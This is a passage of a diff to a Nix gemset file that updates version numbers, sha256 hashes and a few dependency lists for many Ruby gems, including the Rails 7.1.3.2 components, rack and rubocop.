+      sha256 = "012mxn5dfhwbssrckw6kvf851m6rlfa87n4nikk28g05ydfsvcys";
       type = "gem";
     };
-    version = "7.1.3";
+    version = "7.1.3.2";
   };
   actionpack = {
     dependencies = ["actionview" "activesupport" "nokogiri" "racc" "rack" "rack-session" "rack-test" "rails-dom-testing" "rails-html-sanitizer"];
@@ -38,10 +38,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1g8ff6lgaskr6kigni7chdcazh68qgr8dhgslrj7zlzll4xx3sg3";
+      sha256 = "0n1v4r5cyac5wfdlf8bly45mnh60vbp067yjpkyb05vyszamiydq";
       type = "gem";
     };
-    version = "7.1.3";
+    version = "7.1.3.2";
   };
   actiontext = {
     dependencies = ["actionpack" "activerecord" "activestorage" "activesupport" "globalid" "nokogiri"];
@@ -49,10 +49,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1l9sf6jqfvzh9hy2s3hsdakf6x8r6w9776v9hgih1ac5axqp7sxz";
+      sha256 = "0an5sfy96cbd7f43igq47h3m228ivngqjj40gj6iqllhjhchgs7c";
       type = "gem";
     };
-    version = "7.1.3";
+    version = "7.1.3.2";
   };
   actionview = {
     dependencies = ["activesupport" "builder" "erubi" "rails-dom-testing" "rails-html-sanitizer"];
@@ -60,10 +60,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1ldhlwkdlz0h409wwdl3ink0qii54m0lg9b87aji12x53lk3fssv";
+      sha256 = "1kq9b4xnwiknjqg4y6ixvv0cf1z0dcxs68inc8bx05s0fqrim6rn";
       type = "gem";
     };
-    version = "7.1.3";
+    version = "7.1.3.2";
   };
   activejob = {
     dependencies = ["activesupport" "globalid"];
@@ -71,10 +71,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "0bjng98n0h1mlqfy9rkm2xbkalmmbvdlra1b101m0kjzfa9dqyh1";
+      sha256 = "08gjywvd65yzgjw7ynsgvi00scxc4fmgj70wajn7wsdqx00hbafj";
       type = "gem";
     };
-    version = "7.1.3";
+    version = "7.1.3.2";
   };
   activemodel = {
     dependencies = ["activesupport"];
@@ -82,10 +82,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "097wj2g8wgc4n5n22nbk35c8s752pb9pxkm8vw0a30q78nbdmngd";
+      sha256 = "0p3ibps515151ja4gadrhh8frvjvvq4h5fpxw2acccv3z5i553hh";
       type = "gem";
     };
-    version = "7.1.3";
+    version = "7.1.3.2";
   };
   activerecord = {
     dependencies = ["activemodel" "activesupport" "timeout"];
@@ -93,10 +93,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "0lbmjxn7yr1w65d9xk2khh9rvdn0mk8syngmrq2pdzrshaj46kp0";
+      sha256 = "0ww1qxn12nlp0ivysq0pxj6cvajf0fbq781fr4pqx5206c690wj8";
       type = "gem";
     };
-    version = "7.1.3";
+    version = "7.1.3.2";
   };
   activestorage = {
     dependencies = ["actionpack" "activejob" "activerecord" "activesupport" "marcel"];
@@ -104,10 +104,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1na9x5y2y5s1jqip81dyml4cnhmbgdlh2ppa3qziff6hfzc7vcqx";
+      sha256 = "09wp0qqp7xr31ipcv42bs81fmyksz9l3jmraryf53qjsbbqpfdr8";
       type = "gem";
     };
-    version = "7.1.3";
+    version = "7.1.3.2";
   };
   activesupport = {
     dependencies = ["base64" "bigdecimal" "concurrent-ruby" "connection_pool" "drb" "i18n" "minitest" "mutex_m" "tzinfo"];
@@ -115,10 +115,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "09zrw3sydkk6lwzjhzia38wg1as5aab2lgnysfdr1qxh39zi7z7v";
+      sha256 = "0blbbf2x7dn7ar4g9aij403582zb6zscbj48bz63lvaamsvlb15d";
       type = "gem";
     };
-    version = "7.1.3";
+    version = "7.1.3.2";
   };
   addressable = {
     dependencies = ["public_suffix"];
@@ -157,10 +157,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1rqhn05qvfzr7d3d4kv4z8ssw04ggg28gfnq92adpxxvkl6wqkms";
+      sha256 = "11lcig7dr3nanwdgsacv2hbdpdk5yfaqzfjl8gav41mjbk90w15q";
       type = "gem";
     };
-    version = "4.2.0";
+    version = "4.2.1";
   };
   awesome_print = {
     groups = ["default"];
@@ -217,20 +217,20 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "00db5v09k1z3539g1zrk7vkjrln9967k08adh6qx33ng97a2gg5w";
+      sha256 = "0cq1c29zbkcxgdihqisirhcw76xc768z2zpd5vbccpq0l1lv76g7";
       type = "gem";
     };
-    version = "3.1.6";
+    version = "3.1.7";
   };
   bindata = {
     groups = ["default"];
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "04y4zgh4bbcb8wmkxwfqg4saky1d1f3xw8z6yk543q13h8ky8rz5";
+      sha256 = "08r67nglsqnxrbn803szf5bdnqhchhq8kf2by94f37fcl65wpp19";
       type = "gem";
     };
-    version = "2.4.15";
+    version = "2.5.0";
   };
   builder = {
     groups = ["default"];
@@ -269,10 +269,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1jk90pjw4a0fl8ridv63h2w5c5xa2w9ajbq7z02ii70qi2z9j4rm";
+      sha256 = "06y99zan4apgi4bsqqwnsdlsyss8dk2plr2gksh4yw8lkkk3a5zs";
       type = "gem";
     };
-    version = "4.2.0";
+    version = "4.2.1";
   };
   camping = {
     dependencies = ["kdl" "listen" "mab" "rack" "rack-session" "rackup" "zeitwerk"];
@@ -600,10 +600,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "175yx0csfr34h7q5ybvrl6hnyhz6z24lvhzyx75bmc7zlgbiq4sl";
+      sha256 = "0imaai3zmm3mx35kmfhsir8c3ijcs0s2zm8gd2rhqmk26gn3xqbm";
       type = "gem";
     };
-    version = "0.5.3";
+    version = "0.5.4";
   };
   cocoapods-wholemodule = {
     groups = ["default"];
@@ -835,10 +835,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1a5k4wj0ic2z1zrxyvhj1r1pv51qy0nslgbjf3rxkd720s00v29b";
+      sha256 = "0ffcxmrm1dnqip6xq9hsrycz4dggk8pj3cd6q99ji6024npjaal6";
       type = "gem";
     };
-    version = "7.7.0";
+    version = "7.8.0";
   };
   dnsruby = {
     dependencies = ["simpleidn"];
@@ -846,10 +846,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "17bjlic4ac9980vas3pgnhi5lkisq28vd730bhcg8jdh8xcp6r48";
+      sha256 = "15zh7qi60zwzy184rdmmp55d857ss96f2lad78gcwnpr1223q4mj";
       type = "gem";
     };
-    version = "1.70.0";
+    version = "1.71.0";
   };
   do_sqlite3 = {
     dependencies = ["data_objects"];
@@ -887,21 +887,20 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1n0pi8x8ql5h1mijvm8lgn6bhq4xjb5a500p5r1krq4s6j9lg565";
+      sha256 = "1d5jv27p3gpj68pc1cxj3cp1bs11r25w2336sndsdfkx34p6hzlb";
       type = "gem";
     };
-    version = "2.8.1";
+    version = "3.1.0";
   };
   drb = {
-    dependencies = ["ruby2_keywords"];
     groups = ["default"];
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "03ylflxbp9jrs1hx3d4wvx05yb9hdq4a0r706zz6qc6kvqfazr79";
+      sha256 = "0h5kbj9hvg5hb3c7l425zpds0vb42phvln2knab8nmazg2zp5m79";
       type = "gem";
     };
-    version = "2.2.0";
+    version = "2.2.1";
   };
   e2mmap = {
     groups = ["default"];
@@ -941,10 +940,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "0l4znxsrcsa6a1ylig4wkml1kdydyvb3qzh7mr1gn39zn25wflj0";
+      sha256 = "0g2jghbn2pmi1k8lnqbslyjix2rablalp4gjjsh4k9gxpvx5r1x1";
       type = "gem";
     };
-    version = "0.7.1";
+    version = "0.7.2";
   };
   erubi = {
     groups = ["default"];
@@ -982,10 +981,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1kmmwgjzlrnc3nnrdnw1z67c95nbw0hv54a73yj8jw6pcvl9585x";
+      sha256 = "1m3gzvp1wqki0yh4b7761qhdy4pyr4phy429b7s9w25nrkhp4lsz";
       type = "gem";
     };
-    version = "0.109.0";
+    version = "0.110.0";
   };
   execjs = {
     groups = ["default"];
@@ -1035,10 +1034,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "0c2caqm9wqnbidcb8dj4wd3s902z15qmgxplwyfyqbwa0ydki7q1";
+      sha256 = "1844j58cdg2q6g0rqfwg4rrambnhf059h4yg9rfmrbrcs60kskx9";
       type = "gem";
     };
-    version = "1.0.1";
+    version = "1.3.2";
   };
   ffi-rzmq-core = {
     dependencies = ["ffi"];
@@ -1120,10 +1119,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "0dpqlsfv44bxzixh386qwz28wfynhwkp9qz97b6zjx4wjh4fg4gj";
+      sha256 = "0nbzvmg3aa0r9iadkpiz3fzr1dnv09vx6bi7cc5wgpg13d3i3rbl";
       type = "gem";
     };
-    version = "4.2.0";
+    version = "4.2.1";
   };
   gdk_pixbuf2 = {
     dependencies = ["gio2"];
@@ -1131,10 +1130,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "0hmfbddsjj7x5i2aj0i8l9jhp19lrcm4d6q4xqm7gyjnrs98v5q5";
+      sha256 = "1lrs0g6s5l050ld8mfjscijg0iycx9hq2wgdwc76y3nm47gs78na";
       type = "gem";
     };
-    version = "4.2.0";
+    version = "4.2.1";
   };
   gemoji = {
     groups = ["default"];
@@ -1152,10 +1151,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1ij82r1b1190vry1xwqh7nz4qasdh2fppmx93nrv1jam4hy0gm7k";
+      sha256 = "1zpz71ybilrk7i9ym7jx807fza22sdjm18l6qydds3gm7bpybvdz";
       type = "gem";
     };
-    version = "4.2.0";
+    version = "4.2.1";
   };
   git = {
     dependencies = ["addressable" "rchardet"];
@@ -1174,10 +1173,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "0iddm5yxs6js6xdvhb4jwdyqvyngkwawjqdc4fhhyjzrfzrwdg1k";
+      sha256 = "0608fr1ggyrk2f6pfc4zwy9i9prkxx0dsfb4k9j8s249kczqmlbr";
       type = "gem";
     };
-    version = "229";
+    version = "231";
   };
   github-pages-health-check = {
     dependencies = ["addressable" "dnsruby" "octokit" "public_suffix" "typhoeus"];
@@ -1206,10 +1205,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "05qg16pxnzshgzgfky83b948r9d03lachq2clm8qrsj4c202smq3";
+      sha256 = "0lbvk3jz21kw811hn411xvql7l14bb8kfnqc10inkkyli3a2ifv3";
       type = "gem";
     };
-    version = "4.2.0";
+    version = "4.2.1";
   };
   globalid = {
     dependencies = ["activesupport"];
@@ -1228,10 +1227,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "03n47jlyqygxyc5fsf39szfswlcnnmmwqly12cqjqfmk6skvfhc5";
+      sha256 = "08ysbhg8njdf1sb4mmx90baswqbya5ihw8kyym3rw43sl2gswnsk";
       type = "gem";
     };
-    version = "4.2.0";
+    version = "4.2.1";
   };
   gpgme = {
     dependencies = ["mini_portile2"];
@@ -1250,10 +1249,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "15jk1q82g6jfswmz4b20kg2nxq4yc8wpidn9si9j7n0haxph3vxy";
+      sha256 = "1hk0anmyczicvjzri5pdj6f65ibf1pyarychayhzxjl50n9sf1wd";
       type = "gem";
     };
-    version = "4.2.0";
+    version = "4.2.1";
   };
   haml = {
     dependencies = ["temple" "thor" "tilt"];
@@ -1332,10 +1331,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1y55dx25l3wwc025mwl6jsbcsqrm30gs2d2pxnaxg07yh22ckq4x";
+      sha256 = "0nrqvgja3pbmz4v27zc5ir58sk4mv177nq7hlssy2smawbvhhgdl";
       type = "gem";
     };
-    version = "1.4.2";
+    version = "1.4.3";
   };
   http = {
     dependencies = ["addressable" "base64" "http-cookie" "http-form_data" "llhttp-ffi"];
@@ -1405,10 +1404,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "0qaamqsh5f3szhcakkak8ikxlzxqnv49n2p7504hcz2l0f4nj0wx";
+      sha256 = "0lbm33fpb3w06wd2231sg58dwlwgjsvym93m548ajvl6s3mfvpn7";
       type = "gem";
     };
-    version = "1.14.1";
+    version = "1.14.4";
   };
   iconv = {
     groups = ["default"];
@@ -1457,10 +1456,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1f8wms39b7z83x6pflq2sjh3sikpk0xjh680igbpkp1j3pl0fpx0";
+      sha256 = "17ak21ybbprj9vg0hk8pb1r2yk9vlh50v9bdwh3qvlmpzcvljqq7";
       type = "gem";
     };
-    version = "1.11.2";
+    version = "1.12.0";
   };
   jaro_winkler = {
     groups = ["default"];
@@ -1489,10 +1488,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1zsy65w10bnqm0pla94xfj4a01d9ji82sbbbl4ly2g103j9hnpjx";
+      sha256 = "1w36kbn1ijbqfn33xbx14rpzr6adgiw2ip5g95jrzi1nh3qraan2";
       type = "gem";
     };
-    version = "3.9.4";
+    version = "3.9.5";
   };
   jekyll-archives = {
     dependencies = ["jekyll"];
@@ -1675,10 +1674,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "0d88azs1cfw0y74yiw218dk3pmsb4i5srm608lc7bbpf931m87l3";
+      sha256 = "0vfx90ajxyj24lz406k3pqknlbzy8nqs7wpz0in4ps9rggsh24yi";
       type = "gem";
     };
-    version = "0.7.0";
+    version = "0.6.1";
   };
   jekyll-remote-theme = {
     dependencies = ["addressable" "jekyll" "jekyll-sass-converter" "rubyzip"];
@@ -1974,25 +1973,26 @@
     version = "1.0.7";
   };
   jwt = {
+    dependencies = ["base64"];
     groups = ["default"];
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "16z11alz13vfc4zs5l3fk6n51n2jw9lskvc4h4prnww0y797qd87";
+      sha256 = "02m3vza49pb9dirwpn8vmzbcypi3fc6l3a9dh253jwm1121g7ajb";
       type = "gem";
     };
-    version = "2.7.1";
+    version = "2.8.1";
   };
   kdl = {
-    dependencies = ["simpleidn"];
+    dependencies = ["base64" "bigdecimal" "simpleidn"];
     groups = ["default"];
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1zr1b2s5gmxjzca24v15isjfs24nkv8iy7b65bw8q1aw6cnj32mh";
+      sha256 = "02kpqgss9psmxb1c2gzq6l5i41ykskwqiacppqdm86ky0f88j6cb";
       type = "gem";
     };
-    version = "1.0.3";
+    version = "1.0.4";
   };
   keystone-engine = {
     dependencies = ["ffi"];
@@ -2033,10 +2033,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "094yfjjv5p3whvf4vhqg5yy87dqk1n2hhnvqb51l1h6p0a77r0sk";
+      sha256 = "00sms1hsjsw3w9a7z4qn3sl1dhkjg9wfnfmjbxk6n5glz7ymfwnj";
       type = "gem";
     };
-    version = "1.7.5";
+    version = "1.7.8";
   };
   language_server-protocol = {
     groups = ["default"];
@@ -2063,10 +2063,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1p6hdglfjx9r0rycn2fb0zjg2czl72nyfx8mmrf20w4qmslj0fj9";
+      sha256 = "1pib5bfwg684f1sczrhf3lzk9hb24dhsw5cmlnxm4rq66sx0slss";
       type = "gem";
     };
-    version = "5.0.2";
+    version = "5.0.3";
   };
   link-header-parser = {
     groups = ["default"];
@@ -2158,10 +2158,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "0kky3yiwagsk8gfbzn3mvl2fxlh3b39v6nawzm4wpjs6xxvvc4x0";
+      sha256 = "190n2mk8m1l708kr88fh6mip9sdsh339d2s6sgrik3sbnvz4jmhd";
       type = "gem";
     };
-    version = "1.0.2";
+    version = "1.0.4";
   };
   markaby = {
     dependencies = ["builder"];
@@ -2220,10 +2220,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "0zpn5brxdf5akh7ij511bkrd30fxd7697shmxxszahqj9m62zvn5";
+      sha256 = "00x7w5xqsj9m33v3vkmy23wipkkysafksib53ypzn27p5g81w455";
       type = "gem";
     };
-    version = "3.2024.0206";
+    version = "3.2024.0305";
   };
   mini_magick = {
     groups = ["default"];
@@ -2271,10 +2271,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "0667vf0zglacry87nkcl3ns8421aydvz71vfa3g3yjhiq8zh19f5";
+      sha256 = "07lq26b86giy3ha3fhrywk9r1ajhc2pm2mzj657jnpnbj1i6g17a";
       type = "gem";
     };
-    version = "5.22.2";
+    version = "5.22.3";
   };
   msgpack = {
     groups = ["default"];
@@ -2577,10 +2577,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "0n41ywk853l3arii0ksnbwhzncy16y6n8kfxvd548433gx2355qw";
+      sha256 = "1lpl4klg2f1rq8rpsgkmjndkpf4zh2b8jjwryi8s3s5w9lb3314y";
       type = "gem";
     };
-    version = "4.2.0";
+    version = "4.2.1";
   };
   parallel = {
     groups = ["default"];
@@ -2660,10 +2660,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "0pfj771p5a29yyyw58qacks464sl86d5m3jxjl5rlqqw2m3v5xq4";
+      sha256 = "071b55bhsz7mivlnp2kv0a11msnl7xg5awvk8mlflpl270javhsb";
       type = "gem";
     };
-    version = "1.5.4";
+    version = "1.5.6";
   };
   pkg-config = {
     groups = ["default"];
@@ -2711,10 +2711,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "19pby3y7by0v9glfw26kc6kd6g324aq1n8p1dw95y9k7nnjlx6xn";
+      sha256 = "0pgxgng905jbhp0pr54w4w2pr4nqcq80ijj48204bj4x4nigj8ji";
       type = "gem";
     };
-    version = "0.21.0";
+    version = "0.24.0";
   };
   pry = {
     dependencies = ["coderay" "method_source"];
@@ -2807,10 +2807,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1b3ybjvj5mzj178y6r1xd4q34aj8hgpgyqxva6mlzwwdprzln47m";
+      sha256 = "1m76b32zh6mgql7mzfx36rijnygjl2nzkdj909mn87isfgzdf9jl";
       type = "gem";
     };
-    version = "3.0.9";
+    version = "3.0.9.1";
   };
   rack-protection = {
     dependencies = ["base64" "rack"];
@@ -2862,10 +2862,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1313wjykqqgvh3023rnmrwksgbl2g45p5h75s682abpj89y2bvaf";
+      sha256 = "185zq5r9g56sfks852992bm0xf2vm9569jyiz5jyww3vx1jply1d";
       type = "gem";
     };
-    version = "7.1.3";
+    version = "7.1.3.2";
   };
   rails-dom-testing = {
     dependencies = ["activesupport" "minitest" "nokogiri"];
@@ -2895,10 +2895,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "19jh5gwjz11rrzjfncxcrmyqzza95k2skdcpknd26vr9jffca7bs";
+      sha256 = "0435sfvhhrd4b2ic9b4c2df3i1snryidx7ry9km4805rpxfdbz2r";
       type = "gem";
     };
-    version = "7.1.3";
+    version = "7.1.3.2";
   };
   rainbow = {
     groups = ["default"];
@@ -2999,21 +2999,21 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1xsv742kwq1bdxmsgb7v9kspgvwh4msabiz1lspl4ln4pxnd50l9";
+      sha256 = "1lx4wsrk7gd6733sjgrkwmj1x9jalnbfppawqfk0ljnw95c0557c";
       type = "gem";
     };
-    version = "2.8.0";
+    version = "2.9.0";
   };
   red-colors = {
-    dependencies = ["matrix"];
+    dependencies = ["json" "matrix"];
     groups = ["default"];
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1xqnbbcqg55abn985m716l6n5izyaaf4zdllhc8095cfqz2fbjcx";
+      sha256 = "16lj0h6gzmc07xp5rhq5b7c1carajjzmyr27m96c99icg2hfnmi3";
       type = "gem";
     };
-    version = "0.3.0";
+    version = "0.4.0";
   };
   redcarpet = {
     groups = ["default"];
@@ -3042,10 +3042,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1afyfxg5kxmrxsbsvqvk9zmqdi85wa0v164a3x3dwb3x03plp06y";
+      sha256 = "1swaj27qiix9r92hcvjxf6fzd817i7lfgfg2r50ifs41407rzhq3";
       type = "gem";
     };
-    version = "0.19.1";
+    version = "0.21.0";
   };
   redis-rack = {
     dependencies = ["rack-session" "redis-store"];
@@ -3085,10 +3085,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "0fhwdmw89zqb1fdxcd6lr57zabbfi08z8j6kqwngak0xnxi2j10l";
+      sha256 = "1zx7sdh11p4z77c3f9ka6f065mgl6xwbamnsq4rrgwk310qhn41n";
       type = "gem";
     };
-    version = "0.4.2";
+    version = "0.4.3";
   };
   rest-client = {
     dependencies = ["http-accept" "http-cookie" "mime-types" "netrc"];
@@ -3128,10 +3128,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1qnpp0alpr7ibqzx9av3pz5kqa47i0s65sjl47m6hbc5r3nrh8ly";
+      sha256 = "1blqchqfbvqrwn9izzqf8wzkgfw6zafyrsl2ksg1w1d9qxj0c15s";
       type = "gem";
     };
-    version = "5.4.1";
+    version = "5.4.4";
   };
   rouge = {
     groups = ["default"];
@@ -3202,10 +3202,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "0msjfw99dkbvmviv3wsid4k9h1prdgq7pnm52dcyf362p19mywhf";
+      sha256 = "03z7gpqz5xkw9rf53835pa8a9vgj4lic54rnix9vfwmp2m7pv1s8";
       type = "gem";
     };
-    version = "3.13.0";
+    version = "3.13.1";
   };
   rubocop = {
     dependencies = ["json" "language_server-protocol" "parallel" "parser" "rainbow" "regexp_parser" "rexml" "rubocop-ast" "ruby-progressbar" "unicode-display_width"];
@@ -3213,10 +3213,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "0v67rgbhzanbf02fy5xasaxgmhxghlqb2cxjvbplinm2zfzs0380";
+      sha256 = "0daamn13fbm77rdwwa4w6j6221iq6091asivgdhk6n7g398frcdf";
       type = "gem";
     };
-    version = "1.60.2";
+    version = "1.62.1";
   };
   rubocop-ast = {
     dependencies = ["parser"];
@@ -3224,10 +3224,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1cs9cc5p9q70valk4na3lki4xs88b52486p2v46yx3q1n5969bgs";
+      sha256 = "1v3q8n48w8h809rqbgzihkikr4g3xk72m1na7s97jdsmjjq6y83w";
       type = "gem";
     };
-    version = "1.30.0";
+    version = "1.31.2";
   };
   rubocop-performance = {
     dependencies = ["rubocop" "rubocop-ast"];
@@ -3278,10 +3278,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1qvdm19n2jmw2l9c8yvw6k4zcjjaz22bnlw743y2w6z6r2h7jzdk";
+      sha256 = "0scavp3jlgzbg7bh6y5rd110aak03l9zw56smazahq3lcjxgfc49";
       type = "gem";
     };
-    version = "0.14.0";
+    version = "0.14.5";
   };
   ruby-lxc = {
     groups = ["default"];
@@ -3319,10 +3319,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "16vkhdb9ss8z4alg46n675n4z1115g8akyg44nzkp8vpxksgrr1v";
+      sha256 = "0yycazz91ywwwv2iz3fgjkfn1z687bl4z5jjn7cwmky507b43652";
       type = "gem";
     };
-    version = "2.2.0";
+    version = "2.2.1";
   };
   ruby2_keywords = {
     groups = ["default"];
@@ -3457,10 +3457,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "08xi8cly6w6082ycxp28q04i2pfsmcx41hfdw64kkac95izpi1px";
+      sha256 = "0qs5mrjsr2hs03f2c1a611qrvxsk8pqlmhymxgwccwvr6arh3iby";
       type = "gem";
     };
-    version = "0.21.2";
+    version = "0.21.3";
   };
   sequel = {
     dependencies = ["bigdecimal"];
@@ -3468,10 +3468,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1fnpcsppl27f1wn3niazqcgy6i5900c1cjk2lnhyal6brxnk0sq4";
+      sha256 = "186wldacv9zdd3bxi85lika9hz6ac09r7kp1h4cjv23436qmsjq2";
       type = "gem";
     };
-    version = "5.77.0";
+    version = "5.78.0";
   };
   sequel_pg = {
     dependencies = ["pg" "sequel"];
@@ -3604,10 +3604,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "0m6gpmhy25zv8d2r3vy9dcmnbgccv3y62anmwrsjv0ykl5sqkapb";
+      sha256 = "1xnq3zdrnwhncfxvrhvkil26dq9v1h196i54l936l36zxdhnf383";
       type = "gem";
     };
-    version = "0.5.11247";
+    version = "0.5.11292";
   };
   sqlite3 = {
     dependencies = ["mini_portile2"];
@@ -3698,10 +3698,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "1hx77jxkrwi66yvs10wfxqa8s25ds25ywgrrf66acm9nbfg7zp0s";
+      sha256 = "1vq1fjp45az9hfp6fxljhdrkv75cvbab1jfrwcw738pnsiqk8zps";
       type = "gem";
     };
-    version = "1.3.0";
+    version = "1.3.1";
   };
   thrift = {
     groups = ["default"];
@@ -3988,10 +3988,10 @@
     platforms = [];
     source = {
       remotes = ["https://rubygems.org"];
-      sha256 = "013yrnwx1zhzhn1fnc19zck22a1qgimsaglp2iwgf5bz9l8h93js";
+      sha256 = "1r0b8w58p7gy06wph1qdjv2p087hfnmhd9jk23vjdj803dn761am";
       type = "gem";
     };
-    version = "0.9.34";
+    version = "0.9.36";
   };
   zeitwerk = {
     groups = ["default"];